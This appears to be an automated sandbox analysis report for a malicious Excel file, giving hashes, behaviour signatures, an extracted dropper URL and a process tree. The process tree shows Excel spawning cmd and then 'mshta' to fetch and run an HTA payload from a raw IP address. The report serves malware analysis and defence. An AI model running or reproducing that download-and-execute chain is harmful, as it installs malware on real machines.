Overview

overview

10

Static

static

8

tmpwhlz8g0u.xls

windows7_x64

10

tmpwhlz8g0u.xls

windows10_x64

10

Analysis

  • max time kernel
    124s
  • max time network
    158s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    31/01/2022, 00:58

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General

  • Target
    tmpwhlz8g0u.xls
  • Size 47KB
  • Sample220131-bbh49achfk
  • SHA256 8ee14c7d3c0b7afe034ac1e75d6fa6e14715ad804f6d96a3854cbfd2ef6e457b
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/mm/nn/se.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpwhlz8g0u.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3532
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3008
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
        3⤵
          PID:2592
        • C:\Windows\system32\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2260
          • C:\Windows\system32\mshta.exe
            mshta http://91.240.118.172/mm/nn/se.html
            4⤵
            • Blocklisted process makes network request
            PID:1508

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/3532-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-119-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-120-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-121-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-124-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-131-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp
          Download

          memory/3532-132-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp
          Download

          memory/3532-278-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-279-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-280-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download

          memory/3532-281-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp
          Download